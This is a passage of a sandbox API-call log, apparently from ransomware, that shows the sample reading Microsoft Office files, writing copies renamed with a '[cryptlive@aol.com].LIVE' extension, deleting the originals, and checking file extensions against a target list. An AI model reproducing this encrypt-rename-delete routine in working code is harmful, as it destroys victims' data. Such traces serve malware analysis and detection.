lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.649] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0142.650] SetEndOfFile (hFile=0x1ec) returned 1 [0142.650] CloseHandle (hObject=0x1ec) returned 1 [0142.650] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.650] SetEndOfFile (hFile=0x2f8) returned 1 [0142.652] CloseHandle (hObject=0x2f8) returned 1 [0142.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 1 [0142.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.782] lstrlenW (lpString=".doc") returned 4 [0142.782] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.782] lstrlenW (lpString=".docx") returned 5 [0142.782] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.782] lstrlenW (lpString=".pdf") returned 4 [0142.782] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.782] lstrlenW (lpString=".xls") returned 4 [0142.782] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.782] lstrlenW (lpString=".xlsx") returned 5 [0142.782] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.782] lstrlenW (lpString=".ppt") returned 4 [0142.782] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.782] lstrlenW (lpString=".zip") returned 4 [0142.782] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.782] lstrlenW (lpString=".rar") returned 4 [0142.782] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.782] lstrlenW (lpString=".bz2") returned 4 [0142.782] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.782] lstrlenW (lpString=".7z") returned 3 [0142.782] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.782] lstrlenW (lpString=".dbf") returned 4 [0142.782] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.782] lstrlenW (lpString=".1cd") returned 4 [0142.782] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.782] lstrlenW (lpString=".jpg") returned 4 [0142.783] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.783] lstrlenW (lpString=".doc") returned 4 [0142.783] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.783] lstrlenW (lpString=".docx") returned 5 [0142.783] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.783] lstrlenW (lpString=".pdf") returned 4 [0142.783] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.783] lstrlenW (lpString=".xls") returned 4 [0142.783] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.783] lstrlenW (lpString=".xlsx") returned 5 [0142.783] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.783] lstrlenW (lpString=".ppt") returned 4 [0142.783] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.783] lstrlenW (lpString=".zip") returned 4 [0142.783] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.783] lstrlenW (lpString=".rar") returned 4 [0142.783] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.783] lstrlenW (lpString=".bz2") returned 4 [0142.783] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.783] lstrlenW (lpString=".7z") returned 3 [0142.783] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.783] lstrlenW (lpString=".dbf") returned 4 [0142.783] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.783] lstrlenW (lpString=".1cd") returned 4 [0142.783] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0142.783] lstrlenW (lpString=".jpg") returned 4 [0142.783] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.784] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0142.784] lstrlenW (lpString="MSOUC_COL.HXC") returned 13 [0142.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.784] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=621) returned 1 [0142.784] CloseHandle (hObject=0x2f8) returned 1 [0142.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 0x20 [0142.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.786] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.786] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0142.788] GetLastError () returned 0x0 [0142.788] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x26d, lpOverlapped=0x0) returned 1 [0142.843] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x270, lpOverlapped=0x0) returned 1 [0142.844] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.844] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0142.844] SetEndOfFile (hFile=0x1ec) returned 1 [0142.844] CloseHandle (hObject=0x1ec) returned 1 [0142.845] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.845] SetEndOfFile (hFile=0x2f8) returned 1 [0142.847] CloseHandle (hObject=0x2f8) returned 1 [0142.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 1 [0142.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.851] lstrlenW (lpString=".doc") returned 4 [0142.851] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.851] lstrlenW (lpString=".docx") returned 5 [0142.851] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.851] lstrlenW (lpString=".pdf") returned 4 [0142.851] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.851] lstrlenW (lpString=".xls") returned 4 [0142.851] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.851] lstrlenW (lpString=".xlsx") returned 5 [0142.851] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.851] lstrlenW (lpString=".ppt") returned 4 [0142.851] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.851] lstrlenW (lpString=".zip") returned 4 [0142.851] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.851] lstrlenW (lpString=".rar") returned 4 [0142.851] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.851] lstrlenW (lpString=".bz2") returned 4 [0142.851] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.851] lstrlenW (lpString=".7z") returned 3 [0142.851] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString=".dbf") returned 4 [0142.852] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString=".1cd") returned 4 [0142.852] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString=".jpg") returned 4 [0142.852] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString=".doc") returned 4 [0142.852] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.852] lstrlenW (lpString=".docx") returned 5 [0142.852] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.852] lstrlenW (lpString=".pdf") returned 4 [0142.852] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.852] lstrlenW (lpString=".xls") returned 4 [0142.852] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.852] lstrlenW (lpString=".xlsx") returned 5 [0142.852] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.852] lstrlenW (lpString=".ppt") returned 4 [0142.852] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString=".zip") returned 4 [0142.852] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.852] lstrlenW (lpString=".rar") returned 4 [0142.852] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.852] lstrlenW (lpString=".bz2") returned 4 [0142.852] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.852] lstrlenW (lpString=".7z") returned 3 [0142.852] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString=".dbf") returned 4 [0142.852] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.852] lstrlenW (lpString=".1cd") returned 4 [0142.853] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0142.853] lstrlenW (lpString=".jpg") returned 4 [0142.853] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.853] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.853] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19 [0142.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.853] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=113) returned 1 [0142.853] CloseHandle (hObject=0x2f8) returned 1 [0142.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 0x20 [0142.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.854] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.854] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0142.854] GetLastError () returned 0x0 [0142.854] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0142.855] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.856] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.856] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0142.856] SetEndOfFile (hFile=0x1ec) returned 1 [0142.856] CloseHandle (hObject=0x1ec) returned 1 [0142.856] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.856] SetEndOfFile (hFile=0x2f8) returned 1 [0142.859] CloseHandle (hObject=0x2f8) returned 1 [0142.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 1 [0142.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.862] lstrlenW (lpString=".doc") returned 4 [0142.862] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.862] lstrlenW (lpString=".docx") returned 5 [0142.862] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.862] lstrlenW (lpString=".pdf") returned 4 [0142.862] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.862] lstrlenW (lpString=".xls") returned 4 [0142.862] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.862] lstrlenW (lpString=".xlsx") returned 5 [0142.862] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.862] lstrlenW (lpString=".ppt") returned 4 [0142.862] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.862] lstrlenW (lpString=".zip") returned 4 [0142.862] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.862] lstrlenW (lpString=".rar") returned 4 [0142.862] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.862] lstrlenW (lpString=".bz2") returned 4 [0142.862] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.862] lstrlenW (lpString=".7z") returned 3 [0142.862] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.862] lstrlenW (lpString=".dbf") returned 4 [0142.862] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.862] lstrlenW (lpString=".1cd") returned 4 [0142.862] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.862] lstrlenW (lpString=".jpg") returned 4 [0142.862] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.863] lstrlenW (lpString=".doc") returned 4 [0142.863] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.863] lstrlenW (lpString=".docx") returned 5 [0142.863] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.863] lstrlenW (lpString=".pdf") returned 4 [0142.863] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.863] lstrlenW (lpString=".xls") returned 4 [0142.863] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.863] lstrlenW (lpString=".xlsx") returned 5 [0142.863] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.863] lstrlenW (lpString=".ppt") returned 4 [0142.863] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.863] lstrlenW (lpString=".zip") returned 4 [0142.863] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.863] lstrlenW (lpString=".rar") returned 4 [0142.863] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.863] lstrlenW (lpString=".bz2") returned 4 [0142.863] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.863] lstrlenW (lpString=".7z") returned 3 [0142.863] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.863] lstrlenW (lpString=".dbf") returned 4 [0142.863] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.863] lstrlenW (lpString=".1cd") returned 4 [0142.863] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0142.863] lstrlenW (lpString=".jpg") returned 4 [0142.863] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.863] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0142.863] lstrlenW (lpString="MSPUB.HXS") returned 9 [0142.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.864] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1886518) returned 1 [0142.864] CloseHandle (hObject=0x2f8) returned 1 [0142.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs")) returned 0x20 [0142.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.864] lstrlenW (lpString=".doc") returned 4 [0142.864] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.865] lstrlenW (lpString=".docx") returned 5 [0142.865] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1 [0142.865] lstrlenW (lpString=".pdf") returned 4 [0142.865] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.865] lstrlenW (lpString=".xls") returned 4 [0142.865] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.865] lstrlenW (lpString=".xlsx") returned 5 [0142.865] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1 [0142.865] lstrlenW (lpString=".ppt") returned 4 [0142.865] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.865] lstrlenW (lpString=".zip") returned 4 [0142.865] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.865] lstrlenW (lpString=".rar") returned 4 [0142.865] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.865] lstrlenW (lpString=".bz2") returned 4 [0142.865] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.865] lstrlenW (lpString=".7z") returned 3 [0142.865] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.865] lstrlenW (lpString=".dbf") returned 4 [0142.865] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57 [0142.865] lstrlenW (lpString=".1cd") returned 4 [0142.865] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 